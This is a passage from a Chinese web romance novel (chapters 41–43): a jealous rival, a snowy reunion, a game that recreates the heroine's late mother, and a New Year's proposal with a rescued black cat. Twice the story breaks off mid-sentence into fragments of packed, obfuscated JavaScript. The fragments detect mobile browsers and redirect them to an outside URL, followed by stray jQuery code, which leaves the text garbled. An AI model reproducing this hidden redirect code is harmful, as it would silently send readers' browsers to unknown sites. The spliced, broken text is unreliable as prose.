很多时候,她就只是这样静静坐着,看着窗外下着的雨,听着淅淅沥沥的雨声,整个人好似与外界相融。 余谨花了很长的时间,才在她的世界撬开一条缝,见到她更为活泛的一面,比如那两颗奶糖,一起打游戏的情绪,或者仅仅是能够陪她一起看雨的瞬间。 他为此,甚至沾沾自喜。 直到有一天,他发现沈淮棠恋爱了,对方是个叫江未的男生。 江未简直是他完全的反面,肆意张扬,桀骜不羁,整个人像一团燃烧的火焰。 最重要的是,他头一次看到沈淮棠竟然会因为江未而产生起起伏伏的情绪。 他们轻声细语地打电话,她安慰着他,几乎要哭出来。江未不知说了什么,又逗得她抹着眼泪破涕而笑。 未久,她又有些生气,眯着眼骂两句江未是猪。 余谨从未见过如此生机勃勃的沈淮棠。 是的,生机勃勃。 这是他自己都没有想过的词语,竟然能用在沈淮棠身上。 他还以为,沈淮棠对所有人都是那副平淡到没有任何人能够影响她的模样呢。 她连曾经艰难的生活都举重若轻地撑下来了,怎么会因为一个男生随意的两句话,就会有那样起伏的情绪呢? 余谨感觉到身体的疼痛,或许那是一种叫嫉妒的情绪在他的体内无穷尽地撕扯。 他这才意识到,原来他那样在意她。 然而,要克制,要克制。 他松口气,从小到大,他做得最熟练的事情,就是克制。 原本余谨以为江未能成功讨得沈淮棠欢心,除了那轻佻的性子——小姑娘以往情窦初开,太容易被甜言蜜语冲昏头脑。再者,就是因为在梦港岛时是她的人生低谷,他不过趁虚而入。 直到那天夜里,他在灯塔下沉默地陪伴沈淮棠,看完那场流星雨。心里煎熬似在煮中药,漫长而钝痛的苦涩蔓延包裹。 他担心江未不来,可又怕他真来。 重重思虑中,余谨没想到她竟会发生意外,记忆尽失,对所有人都忘个彻底。 可这未必不是老天给他的崭新机会,占据天时地利人和地重新与沈淮棠相识相知。 只是—— 整整五年,也抵不过与江未重逢的短短数月,他不知还能做什么。 余谨又抽完一根烟,才回到包厢。 他推开门,却只看见余慈在埋头苦吃,沈淮棠已经不见踪影。 余慈抽空抬头,见他回来:“姐姐说不管你了,都吃完走了。” 余谨明白,这餐饭,实在吃得不尽兴,而且他一直离席,实在失礼。 余慈忽然停了筷子,幽幽地说:“刚刚姐姐买单的时候,发现有人买过了。” 这人是谁,不言而喻。 沈淮棠提前走的原因大概也是如此。 一听江未竟然来买单,余谨简直半粒花生米都再也吃不下,刚拿起的筷子又放下去。 他看一眼余慈,面色冷漠:“你也别吃了,这么一点好处就把你收买了。” “你闭嘴吧!”余慈突然冲他发火,“姐姐和江未没把你吊起来抽,已经很给面子了,你不吃就走,我要吃!” 余谨一愣,实在难以理解这两句话之间有什么逻辑关系。 但是他看着余慈这怒气冲冲的样子,也不好再说什么,思索半天,也只好拿起筷子从锅里夹出一片肉,放进嘴里咀嚼。 或许是这辣锅煮的太久了,红艳艳的辣椒翻腾着散发着霸道的气味,他不停地吃着,嘴唇都红了,那些食材实在太辣,辣得他眼圈都红了。 真难吃,他想,下次再也不来了。 41. 爱意的入侵 沈淮棠匆忙将外套披在肩上,走出饭店大门,才发现外头不知何时竟下起雪来。 此时街道与屋檐都覆着一层晶莹的洁白,点缀着无数细碎的冰粒子。 她站在风中四处张望,看见不远处停在路边的一辆眼熟的车。 江未抱着双臂,倚靠在车门,两条长腿交叠,正在望着天空飘飘扬扬的雪花,似乎在想什么事情。 他的脸上没有表情,平静冷淡地凝望虚空,夜晚的霓虹灯却在他的半边侧脸上轮转着缤纷而朦胧的光彩,这一幕像是电影里某帧被拉长的画面。 看到江未,她的脚步便放慢放轻,本想来个恶作剧,他却若有所感似的,直接一转眸便与她对上视线。 眼中好似被烟花点亮,他绽放出一个冰雪消融的笑容。 江未直起身子,朝她伸手,像是邀请一个拥抱。沈淮棠不自觉地弯起唇角,抓紧他的手。 “手怎么这样凉?”她替他捂暖手背,顺道拍掉他身上的雪粒,没问他为什么会来,只是有些嗔怪地说,“怎么不在车里等?还暖和点。” “很久没看过鹤城的雪了。”他将她的手包在掌心,笑吟吟地看着她,“而且站在这里,你出来之后第一时间就能看到我了。” 她抿抿唇,又说道:“那你该早些跟我说已经到了,我就会早点出来。” “那可不行,今天你难得和他们吃饭,我听话又懂事,怎么好打扰?”江未客客气气说这话,直接被沈淮棠用手指恶狠狠戳一下肚皮。 他哎哟一声,看到她瞪眼的神情又笑开,赶紧装出一副委屈巴巴的模样: “真是急死我了,一想到你在跟余谨吃饭,我就咬牙切齿,在公司也待不住,忙完就立马赶来了。这小子蔫儿坏,指不定又在你面前说我什么坏话!” 沈淮棠被他逗乐,捏捏他的脸,笑罢又轻轻叹气:“除去必要场合,以后我也不会跟他多来往了。有些事儿,不知道便罢了,知道以后,还要像以前那样相处,倒像是我吊着他似的。” 听这些话,江未倒是很善解人意,将她抱在怀中说:“对对对,你不跟他在一起,以后就别多来往了,这不耽误他吗?” 话到此处,他又忍不住地说余谨两句,“我就知道你看不上他,控制欲那么强,哪有我好?” 沈淮棠在他怀里抬头,好笑地说:“你说什么都要夸夸自己是吗?” “谁说的?我这只是陈述事实而已,我就是很好,非常好,超级无敌好!”他垂眸看她,得意洋洋地亲她左脸一口,又亲右脸一口,“难道你不喜欢吗?不喜欢吗?” “……” “说话呀,喜不喜欢?” “唔……喜欢喜欢,放开我!” 江未开车将沈淮棠送回栖居,一路上,天色越来越漆黑,风雪却越来越大,可见度降低,他们蜷缩在小铁壳中,连昏黄的路灯都失了颜色。 安全起见,江未的车速也慢下来,沈淮棠看着窗外纷飞的雪花,感慨说道:“想起来之前去涯城看流星的路上,也是这样的感觉。” “只不过,路上没有那么多车,旷野就一条公路,没有下雨的时候,还是开得很爽快的。”江未唇角含笑,又逗她道,“还是有点不一样,那时候你对我可冷淡了。” 听他这么说,沈淮棠又将脑袋别过去,不搭腔了。 栖居门前,木质牌匾上已经积累一层洁净晶莹的白雪,颇有意境。 在等待沈淮棠拿出钥匙开门的时间里,江未左看右看,抱着胳膊说:“梦港岛的栖居可从不会下雪,这也是一番特别的景色。” “夏天的栖居,和冬天的栖居。”沈淮棠推开门,江未将行李拎进去,而后熟门熟路地躺在沙发上,舒展四肢,整个人都放松下来。 沈淮棠见状,眉毛一扬:“你今晚不回家了,就在这沙发上睡?” “我不回,你在哪我就在哪。”江未倔强地说,“反正我行李还在车上,基本的换洗衣服和生活用品都有。” 她思考两三秒,不知想到什么,才刚开口说一个字:“不……” 江未立马变脸,眉毛一竖,桃花眼一瞪,疾言厉色痛心疾首地控诉: “好哇你,怎么能拒绝我?现在就嫌我黏人了是吗?我告诉你,我们现在还在热恋期,这个行为是非常正常的,你可不能因为这个生气,然后不理我,把我赶出去!” 沈淮棠冷漠地看着他:“你戏怎么这么多?我要说的是,不如去把你的行李拿进来,累了一天,赶紧洗洗睡了。” 话音未落,江未心花怒放地在她脸上亲一口:“我现在就去!” 她想笑,却还是板起面孔推开他的脸:“幼稚鬼!不知道以为你才七岁。” 江未在栖居死乞白赖地蹭了一晚上住宿,一想到接下来忙碌的工作,很可能许久不能与沈淮棠见面,相当珍惜时间地哄着吻着折腾她。 沈淮棠简直怀疑白天和她一起赶飞机的不是同一个人,怎么一身使不完的牛劲,她都快累垮了。 他从背后抱住她,细细密密的吻落在她的耳后脖颈和肩膀,还扒开她的长发仔细看脑袋上蜈蚣似的狰狞的伤疤,唉声叹气地亲亲:“这伤口还疼吗?” “不疼了,就是不长头发,平时得盖住些,要不然不好看。”她嘟嘟囔囔,用手指在后脑侧边比划着,“刚在医院醒来时,我这一块儿头发全给剃了,丑得我照镜子都难以细看,干脆剃成光头,还清爽些。” 她给他看照片,脑袋瓜上一层短短的泛青绒毛,像个冷眉冷眼的小和尚,余慈还给她配了一条菩提手串,挂在虎口,很是有模有样。 然后她眯眼一瞥旁边已经笑倒的余慈,拉长声音念句佛:“施主,劝你不要猖狂,我这性子,就算出家了也是武僧。” 江未凝视着照片视频里的沈淮棠,眼神眷恋而缱绻,哪怕彼时她已经失忆,那也是他所熟悉的,二十岁的沈淮棠。 他的未婚妻。 一时间,江未心如刀绞,情难自禁地又开始翻来覆去胡乱咬她:“宝贝,宝贝,跟我结婚好不好?你要什么我都给你。” 声音有些小心翼翼的脆弱。 沈淮棠的思绪已经困得迷迷糊糊,下意识精准地一把捂住他的嘴,嘴上却还是拒绝:“谢邀,不结哦。” “好吧。”江未似乎只想听她说话,对于拒绝却并无半分失落,心落下来了似的,亲亲她的手指与手腕后笃定地说,“那我下次再问。” 她支棱起最后一分清醒,尽量把话说清楚:“今年先别问了,暂时没有结婚的计划,有变动我再通知你。” 紧接着,她坠入深黑的睡眠中,耳畔隐隐约约传来江未带着笑意的声音:“好哦,那我明年再问。” 他特别满意她的态度,哪怕是拒绝,都让他能感受到,她在认真考虑。 所以拒绝也没关系。 第二天早晨,闹铃响起,江未把脑袋埋在沈淮棠的颈窝里哼哼唧唧,不想起床,也不想离开她。 最后是吃了她不轻不重的一巴掌,他这才清醒过来,轻手轻脚地收拾好,再在她额头留下一吻,转身离开。 沈淮棠又睡了许久,再次醒来后,查看手机未读信息,才知道江未竟是又出差去了,近期可能会非常忙碌。 她觉得没有太大关系,因为最近她也很忙,要将在梦港岛写下的稿子整理出来。 除了店内事项,剩余时间内沈淮棠大多都在忙于写作。重新找回其中趣味,让她乐此不疲。 而且她心里还惦记着二白的事情——严格来说,应该是那只引导她与江未重逢的小黑猫。 不管是出于美好的寄愿,还是她自私地想要弥补遗憾,都认为其中必有缘分在。 于是沈淮棠数次回到天桥附近,带着报恩罐头,徘徊呼唤着小黑猫,却再没有见到过它的身影。 鹤城的气温已经越来越低,她不禁有些担心小猫咪是否能独自挺过严冬,若是被收养了,倒还好些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850624|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她在电话里和江未说过这事儿,江未说:“以后咱们再多去几次吧,估计天儿太冷了,小猫咪也不爱出来溜达呢。” 说的也是。 而且,她与江未许久没有见过面。 虽说已经有心理准备,沈淮棠却也没想到江未能忙成这样。 从梦港岛回来直到临近过年,他们竟然只寥寥见过三两回,每次也是匆匆吃个饭,顶多过一夜,他就离开了。 沈淮棠依稀记得她好像是脱单了,但又没有完全脱,她现在的生活与单身时并无什么不同。 唯一不同的,大概是余谨不会再发各类养生信息过来,取而代之的是江未。 他只要有闲时,就库库给她发信息进行全方位的汇报,每天还要挑个她有空的时间打个电话或者视频。 江未简直像憋了五年的话痨,现在终于可以释放自己。 沈淮棠觉得这个频率还可以接受,因为他空闲时间不太多。 而且大多时候,他并不需要她的回复。 虽然她是失忆了,可之前那一段不用电子设备的习惯还是映射在了日常生活中——她到如今,都不是一个爱回信息的人。 就算是必要的回复,也会尽量精简准确,力求在最短的时间内完成最高效率的沟通,有时候可能只回一个表情包,表示“朕已阅”。 然而,江未完全不在意。他连沈淮棠不用电子设备的时间都过过来了,现在她还回信息呢,已经很了不起了! 所以他从未要求过沈淮棠改变什么。 这样也挺好,能让她这种过于独立的人能够有一段时间去适应两个人在一起的生活,逐渐接受这种“充满爱意的入侵”。 相比于线上联系,沈淮棠更倾向于实际行动。 比如某日,她在完成工作以后,心血来潮做了一个蛋糕,是江未喜欢的口味。 根据江未的行程汇报,他今天要在公司开一整天的会,所以直接去公司应该不会找个空。 在出发前,她在驾驶座上给江未发信息告知此事,可江未应该在忙碌中,并没有及时回复。 直到她走进宽敞明亮的公司大堂,都没有得到回信。 说起来,这还是沈淮棠第一回来江未的公司,前台员工满面微笑地问道:“您好女士,请问有预约吗?” “没有。”她好奇地问,“要见小江总得怎么预约?” 前台员工耐心回答:“如果是工作方面的预约,可以提前拨打秘书办的电话号码,或者发送电子邮件,写清楚约见目的,然后等待回复呢。” 沈淮棠颔首:“谢谢你,那我在这里等等吧。” 前台领着她去休息区,送上一杯水和两块糖,她坐在沙发上,从包里摸出一本巴掌大的书籍,随意地翻阅起来。 不知过了多久,沈淮棠的手机忽然震动,她接起电话,听筒那边传来江未吃惊的声音:“小杨跟我说在公司楼下见到你,是真的吗?” “是啊。”她垂着眸子,将书本又翻过一页,“快来接我吧。” 挂断电话,她又看了两页书,江未已经出现在电梯口。 他疾步走来,无心应付一路上对他打招呼的员工,胡乱点头时脚步未停,引得大家都有些好奇,向来稳重的小江总是有什么急事? 未等待太久,沈淮棠的书本前面出现一双长腿,她一抬眼,便看见江未灿烂的笑颜:“我刚结束一个会议,才看到你给我发的信息,等了很久吗?” 沈淮棠合上书本,也微微笑道:“没有关系,是我过来没有提前说,而且只是来给你送个甜品,马上就走。” 她想想道,“其实,要不是第一次来,我可能留下甜品就走了,并不是非要打扰你的意思。” “你来怎么算打扰?我高兴还来不及。” 江未毫不介意地在大庭广众之下亲昵地牵起她的手,笑吟吟地说,“走吧,咱们上去说,我还有半个小时空闲时间,你可得陪陪我。” 42. 好久不见,蛇三 江未如此大方坦诚,必然引人注目。 他拉着她的手,往电梯去,一路上收获无数看八卦的眼神。 沈淮棠注意到,这些目光中有好奇的,有打探的,有观察的,皆带着跃跃欲试的雀跃劲儿,却都不大惊讶。 耳朵捕捉到些许窃窃私语: “我还以为老板这么多年说非单身是借口,没想到还真确有其人!” “老板娘真沉得住气,这多久了,才第一回露面呢……” “听说他俩是初恋,到现在感情还很好,可真难得啊。” 沈淮棠忍笑片刻,压低声音对江未说:“我怎么不知道,在小江总的公司当了这些年的隐形老板娘啊?” 江未满不在乎:“本来就是,我们五年前就订婚了,你以前忘记便罢,现在记起来了还想赖账?那可不行。” “确实不行。”沈淮棠一本正经,“老板娘身份有名无实,这是另外的价钱。” “好说,好说。”他也听得乐起来,“你要什么?钱?公司?股份?我都给你,只要你点头……” 沈淮棠骤然感受到当年江未追在身后要和她在一起的魔音穿耳,赶紧摇摇头:“不用了,什么钱不钱的,多伤感情。” 江未哈哈大笑。 他带她抵达顶楼的办公室,进门后才想起来问道:“你今天怎么有空来看我?平时不是很忙吗?” 沈淮棠抬头,在他唇上印上一个蝴蝶掠过般的吻,轻声说:“想你了。” 能让她主动一回,那可真是不得了。 江未受宠若惊,正要伸手去抱她,却被沈淮棠手里的盒子在两人中间一拦:“给你送的甜品。” 江未接过:“什么甜品?” “蛋糕。”沈淮棠背着手,溜达到待客沙发,“给你带些下午茶。” “真贴心,我正好饿了呢。” 江未坐在她身边,拆掉纸盒包装,将那精致的蛋糕捧起,用勺子舀最中心的第一口,送到沈淮棠唇边让她吃了,才开始吃剩下的,“只有淡淡的香甜,你做蛋糕的手艺越来越好了呀。” 沈淮棠静静看着他:“这是我在蛋糕店买的。” 江未面不改色但迅速改口:“我就说,这蛋糕虽然好吃,但是少了一些对我的真心,还是比不上你做的。” 沈淮棠又说:“骗你的,这其实是我自己做的。” “但是我在其中感受到你对作品的自信与爱意,我最喜欢的你,就是你做自己的样子,原来这就是技巧与感情相结合的艺术品,这就是巅峰。” 江未脸不红气不喘地说瞎话,终于把沈淮棠逗乐。 见她笑了,江未又说:“你等等,我也有礼物要送给你。” 他搬来一台笔记本电脑,点开桌面的某个图标,“原本是想给你做生日礼物,但这游戏制作耗时太长,总想尽善尽美再给你看,哎呀,好东西值得等待。” “让你抢先体验我们公司游戏新作。”他将电脑推至她面前,笑眯眯地卖关子,“单独给你的礼物就在游戏里面,等你玩儿到那段剧情,就知道了。” 沈淮棠被他吊起胃口,也期待起来。 首先映入眼帘的,是一片漆黑中,唯有层层叠叠的海浪与汽笛声,屏幕上渐渐泛起颜色,是一片漫无目的的海洋。 镜头推近,环绕着一个珍珠般的小岛俯瞰一圈,再拉起,这时候游戏的标题才出来,正是改编于她小说IP的游戏作品。 这是一个开放世界游戏,有一个不出错的开局,同小说内容亦是类同——主控漂流到这座神秘的小岛,开始探险。 小岛上住着不少本地居民,在主控抵达住下的第一天,就有善良的邻居叮嘱道:“这个岛上有不少怪兽,你若想活命,晚上一定不要出去。” 当然,按照一般的故事情节发展,不出意外的话,接下来就要出意外了。 主控因为建造房子等主线任务,需要到处收集材料,在深入某个距离小镇遥远的洞穴时,见到了传说中的恐怖怪兽。 幽暗的洞穴中,只听得见细微的摩擦与脚步声,片刻后,庞大而蜿蜒的身躯出现在主控面前,三双黄金竖瞳如同灯笼,散发着昏昏默默的微光。 主控有些紧张,往后倒退半步,战战兢兢问道:“是谁在那里?” 怪兽前行,终于露出它的本来面目——三只巨型蛇头,像马一样的身体四肢,背上长了一双大翅膀,脊背蜿蜒下来是带着鳞片的长长蛇尾。 而在屏幕前的沈淮棠,顷刻泫然。 “蛇三,蛇三……”她眼里满是泪,有些想哭,可一张嘴却又笑起来了,“好久不见,蛇三。” 那些曾经只在她幻觉中出现的异兽。 全世界只有她一个人看到的异兽。 现在却以3D建模的形式,完完整整地出现在她眼前,与曾经所见分毫无差。 曾几何时,在梦港岛日复一日的、令人昏昏欲睡的午后,她与江未窝在栖居的小沙发上,小声地讨论异兽该是什么模样,习性如何,然后再将它们的形貌画出,特点写下,拼拼凑凑出厚厚的资料,成为如今游戏里怪兽的蓝本。 主控跟随主线任务,继续在岛上小镇生活下去,与不同的居民相识,也与无数的异兽做朋友,了解他们背后的故事…… 主线很长,大半任务都与当初沈淮棠所写内容的影子,只是她依然很震撼,这个游戏的制作已经相当完善,将她原本冲动写下的故事丰富完整许多许多倍,甚至赋予它一个更加完整的世界观,这付出的人力物力资源是她难以想象。 沈淮棠问道:“这个游戏做了多久?” 江未笑笑,安抚地摸摸她后背:“其实很早就有想法要做这个游戏,但我自己很多事情做不了,所以真要开始算的话,应该是从购买IP正式立项,才慢慢开始实现想象的画面。” “幸好江氏就是从科技公司起家的,不过把这个游戏做到现在的规模,也花了四年多的时间,而且这只是初版,我们想要做出的东西比这要多得多,版图会越来越大,这个岛屿的故事结束了,还会有其他的地图,主控的旅途会越来越远。” 江未爱这个世界。 于是创造了一个世界。 “真好。”沈淮棠发自内心地说,“谢谢你们能实现这一切。” 虽然这个游戏的制作,最初只有沈淮棠写下的故事,以及江未画下的些许异兽肖像画。 但公司为这项目费尽心血,为原本简易的骨架添上了血肉细节,挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850625|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掘出更美好的核心与可展现的内容。 这已经不是某个人独有的东西,而是整个项目组经年的心血。 那些曾经驱动她去完成这一切的小小情绪,在主控的整个宏图中,占据的也只是冰山一角。 甚至于,主控的性格也会随着主线的不同选择,倾向于不同的个性特征,所以每一个玩家都独一无二。 二十岁和二十五岁的沈淮棠来玩儿,或许会选择两条完全不同的道路。 江未来玩,又是另一种风格。 而且这毕竟是开放游戏,交友系统、种地系统、收集系统和制作系统等等都非常成熟,主打一个想做什么都可以,相当适合休闲玩家。 沈淮棠没法儿在江未办公室就将整个游戏完全体验一遍,于是把电脑抱回栖居继续玩,直接变身网瘾少女。 除去推主线支线的剧情,她的收藏癖大爆发,热爱收集各种奇珍异宝,甚至还专门建了一栋带院子的漂亮房子,来放她的宝贝们。 从怪物标本,到自己组装的机械臂,以及到深山老林里和boss决战三百回合才夺得的宝剑,还有从海边捡来的小贝壳,树上摘的红枫…… 江未说她简直建了个博物馆。 偶尔她也会去找岛上的居民说话,那些npc并不起眼,而沈淮棠却可以在他们身上看到很多曾经。 比如一位脾气古怪的修女老奶奶,很搭理人,却能种出非常漂亮的花朵。以及总是喜欢坐在店门前雕木头的大个子老头,还有在集市上大声叫卖的小朋友。 那些NPC每天安安静静地过着日子,沈淮棠却很喜欢同他们待在一起,不停给他们刷礼物,提高好感度,期待与他们新发生的故事。 不知不觉,时间就在沉迷游戏之中溜走,很快就到过年。 按照余家的旧例,一家人必须要在除夕夜吃团年饭,今年恰巧一家五口全都在鹤城,云姨便寻到附近一个度假村,游玩过年一条龙。 白日里,沈淮棠主要陪伴长辈,好在余慈这开心果在活跃气氛,而且余谨天生就一张别人欠了他八百万的脸,哪怕之前稍有尴尬,也没让人瞧出来。 直到年夜饭结束,她便说要回房休息,实际上是抱着电脑继续玩游戏了。 巧合的是,在这一年将尽的除夕夜里,沈淮棠也将游戏玩儿到了主线尾声——暂时的尾声。 屏幕上突然弹出一个小框,上面写着:请输入彩蛋密码。 这大概就是江未所说的要送给她的礼物吧,她思考片刻,填上自己的生日日期。 小框显示:密码输入正确。 而后,任务栏里便出现了一段新加的小小的支线剧情。 岛上来了一个新居民,是一个模样年轻明媚的年轻女人,身穿素净的白衬衣与深色裙子,出门时会精挑细选戴一顶漂亮的小帽子。 在建好房子后,她邀请邻居主控去家中做客,那房子外头看着没什么特别之处,可沈淮棠一进门,就愣住了。 她看着眼熟的玄关,方方正正的客厅,沙发后背的照片墙,以及种满花的阳台,脚步就停在原地。 年轻女人坐在钢琴前,正抬起头来,对她绽放熟悉而模糊的笑容: “乖乖,你回来啦?” 43. 新年快乐 沈淮棠的手无法自控地颤抖起来,心脏好似被攥拧成一团,酸涩不已,却又有丝丝缕缕的雀跃与怀念。 她想如同以往那般高高兴兴地说:“对呀,我回来了。” 静默片刻,她操作主控走上前,走到沙发前,看着那照片墙,皆是女人与一个眉目相似小女孩的影像。 女人端来卖相漂亮的糕点,亲亲密密地对她说:“乖乖,我好久没有见到你啦,你过得好不好呀?” 沈淮棠发现,在真正面对这个问题时,她一句话也说不出来。该撒娇哭诉,还是报喜不报忧? 好在这只是个游戏,女人并不会真的要求她说什么,反而伸手抱住主控,摸摸她的头发与脊背,轻柔哄道:“我的乖乖肯定受委屈了,但你那么棒,一定能处理好……” 沈淮棠无声地笑一笑。 在支线里,女人总有一堆稀奇古怪的任务要和主控一起做。 有时候是一时兴起离开小岛去不远处的离岛郊游,有时候是嫌阁楼里的白墙颜色太素,邀请主控来一同用油漆画上彩虹的颜色,或是什么也不做,只是静静呆着,她在钢琴前浅浅弹奏一首遥远的安眠曲。 还有一回,她找来许多白纸,两个人的脑袋凑在一起,七嘴八舌地一同设计各种各样的异兽。 小山一般的巨兽,三只恐怖的蛇头,巨大的翅膀,蜿蜒的长尾巴,坚硬的鳞甲,它的名字叫蛇三,张道明和Jupiter。 强壮的人身上顶着一个温顺的牛头,堪称牛界的健身冠军。以及长着狗狗脑袋的蝙蝠,擅长倒挂金钩,和嚼泡泡糖。还有满身羽毛的鲛人,有着绚丽的鱼尾,美丽异常,也能上天入地。 沈淮棠画着画着,眼泪就这样流下来。 那是她可望而不可即的遥远童年。 她轻声喃喃:“妈妈。” 支线即将结束,女人牵着主控的手,轻轻柔柔地笑:“谢谢你陪我度过一段美好的时光。” 恍惚之间,沈淮棠甚至以为当真是母亲想要同她说的话——她们当初相依为命时过得或许艰难,可如今想来,又觉美好。 主控看着她,问道:“你要走了吗?我以后见不到你了吗?” “我当然不会走啦,这里是我的家,乖乖也在这里。”她回答得非常干脆,“我会一直在,只要你想来,随时都可以来看我呀。” 有风起。 风从她们之间刮过,好似在给主控一个充满力量的拥抱,亲吻她的额头,就像沈如风曾经对她说,妈妈就在有风的地方。 区别于其他NPC,年轻女人的房屋内有一套陪伴系统,主控,也就是沈淮棠,随时可以进来渡过一段时间。 可以与她进行任何支线里的互动,就算不互动,她也会做自己的事情,弹弹琴或者养养花,甚至还会来关心沈淮棠:“今天怎么不说话,是不高兴吗?可以跟我讲讲哦。” 沈淮棠坐在屏幕前,静静地看着主控小人与妈妈小人一起在厨房忙碌着做蛋糕,心脏如同坠入温暖的湖水中,沉溺至喘不过气,却又不愿苏醒。 “妈妈。”她轻声说,“新年快乐。” 这故事的蓝本是由她而起,而后江未投入金钱与资源,寻找人才来将这世界一尺一寸打造出来,游戏本身属于项目组与未来无数玩家。 而只有这一截小小的支线剧情,才是江未送给她的礼物。 沈淮棠如今清楚,江未家庭结构复杂,基本未曾获得过多少母爱,或许也不甚理解她与母亲之间的牵绊,可他还是认真地将她之前说给他听的那些旧事记录下,拼拼凑凑地还原出一段童话般的回忆。 她知道,那只是一串冰冷的数据。 可另一种意义上说,他让妈妈永远活在了游戏里,在沈如风最年轻蓬勃的年纪,无需用尽全力与疾病对抗,只需要享受岛上悠闲的生活,偶尔与女儿聊天。 如此笨拙的温柔。 沈淮棠觉得好幸福。 此时,已经临近午夜。 她听见外面传来倒数的声音。 手机铃声忽然响起,是江未的来电,这会儿他正在滨城老宅,与哥哥一同过年。 “阿棠,在干什么?”江未的声音传来,欣喜异常,“我要跟你一起倒数。” 沈淮棠听到他的声音,就情不自禁地露出笑容:“刚刚在和妈妈见面。” 江未立马明白言下之意,声音都降低不少,谨慎而欣喜地问:“那……你喜欢这个礼物吗?” “喜欢,很喜欢,谢谢你。”她摸摸脸颊,方才不知不觉流了好多眼泪,但并不觉得伤感。 就在此时,窗外挂满钻石般星星的夜空忽然绽放缤纷绚丽的巨大烟花,一朵接着一朵,转瞬即逝,滔滔不息。 此时从地面往天空看,就好像星星之间点缀着流光溢彩的花朵。 “阿棠,新年快乐!”烟花的声响太大,江未只能提高音量说话,还未等沈淮棠回复祝福,他又急急忙忙地说,“已经是新的一年了,要不要跟我结婚?” 沈淮棠万万没想到会听到这一句,不由得笑出声来:“什么啊?太突然了吧!” “好吧,好吧。”江未有些无奈,又一转话锋,不死心地问道,“那你今年有没有结婚的计划啊?只是计划而已,计划明年结婚,后年结婚,大后年都可以哦!” 她笑眼弯弯,故作犹豫地想想说:“那行吧,虽然没想好什么时候结婚,但是今年可以开始想想计划啦。” 江未听到她的态度终于松动那么一点点,也大笑起来:“那你快点下来,我们赶紧具体商量。” 他语调又变得神秘兮兮,“而且,我为你准备了新年大礼哦!” 下来? 沈淮棠一愣,赶紧起身到窗户边,果然看见楼下有一个熟悉的人影,正举起手臂大幅度挥舞。 正是许久未见的江未,怀中抱着一束盛放的白雪山。 耳边还有他欠兮兮的声音:“沈小姐,有没有觉得这个场景特别眼熟?想不想从窗户跳下来,跟我私奔呀?” 沈淮棠打开门,三两步跑下楼。 她从未跑得那样快过,连心跳也急不可待,朝着这黑夜中她唯一的光源跑去。 江未仍站在原地,一见到她,便笑眼弯弯地张开双臂,稳稳当当地抱住直直冲进他怀抱的沈淮棠。 她紧紧地抱他,听他沉稳有力的心跳。 “这么着急?怎么连外套都没有穿,会着凉哦。”江未赶紧用大衣裹住她瘦削的身体,当即道歉,“是我的错,我不该催你,以后就慢慢来好不好?” 沈淮棠抬头,撇撇嘴:“太想你了,根本顾不上,要不是理智尚存,我真的会直接从窗户跳下来。” 江未垂眸看她难得娇态,喜欢得情难自禁,啄吻她的额头眉间。 此时,她忽然听见细小的猫叫声,左右环顾后,发现他脚边竟然还放着纸箱子。 “这是什么 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“然后,我把围巾给它垫着,喂了两根猫条,就直接绑架它来见你了——途中它其实有非常多的机会可以直接逃走,但是它都没动,这说明它同意了。” 沈淮棠轻柔地戳戳它的鼻梁:“小坏蛋,我去找你的时候,怎么就不叫一声啊?” 小猫咪用鼻尖蹭蹭她的指尖。 江未伸手搓搓小猫的脑壳,做小猫嘴替:“小福星轮流眷顾,上次找你,就让我们重逢了,所以这次就来找我了嘛。” 沈淮棠微微一笑。 烟花仍在夜空中无尽地绽放,她将小猫托在手心,江未用手机打开自拍模式,给他们三个拍了一张合照,背后正好是满天繁星与灿烂的烟花。 后来,沈淮棠将这张照片洗出来,挂在栖居新开辟出的照片墙上。 旁边挂着原来那张照片,即是他们在胡桃镇上拍的重逢后第一张合照。 亦是繁星与烟花,相同的站位,那时候沈淮棠的表情尚且拘谨,江未看向她的眼神欲语还休。 而这一张,江未却伸长胳膊,紧紧搂住笑眼弯弯地沈淮棠,她怀里抱着芬芳馥郁的白雪山,以及一只圆头圆脑的小黑猫。 一阵轻柔地风吹来,她细碎的额发被掀起微小的弧度。 在快门按下的最后一瞬间,江未骤然转头,用力地亲上她的脸颊,连那一束白雪山都颤抖至模糊。 白雪山。 许多年前,江未第一次送她的花朵,就是白雪山,重逢后送的第一束花,也是白雪山。 除夕夜里,江未送来的亦是白雪山。 沈淮棠想起,在他们重逢的当日,她午睡时梦见自己死亡,在梦港岛的小教堂里举办简单葬礼。 她不在乎死亡,不在乎被打扮得乖顺的遗体,不在乎莫名的葬礼,却被江未献给她的白雪山玫瑰吸引注意,因为那束花竟让她起死回生。 后来,她想过许多种可能性。 为什么是白雪山呢?因为她以前最喜欢?因为最漂亮?因为代表纯洁与高贵? 还是说,因为花语是“与你相遇那一天,连空气都是甜的”,这是她的脑海深处,对江未一见钟情的隐秘告白? 直到此时,她蓦然回悟。 ——在梦中,真正让她起死回生的,哪里是什么花朵,是江未本人啊。 所幸,故人仍在,遗留在潮湿雨季的宝物终将失而复得,他仍会陪在她身边,一如曾经。 如此便好,愿,岁岁如今。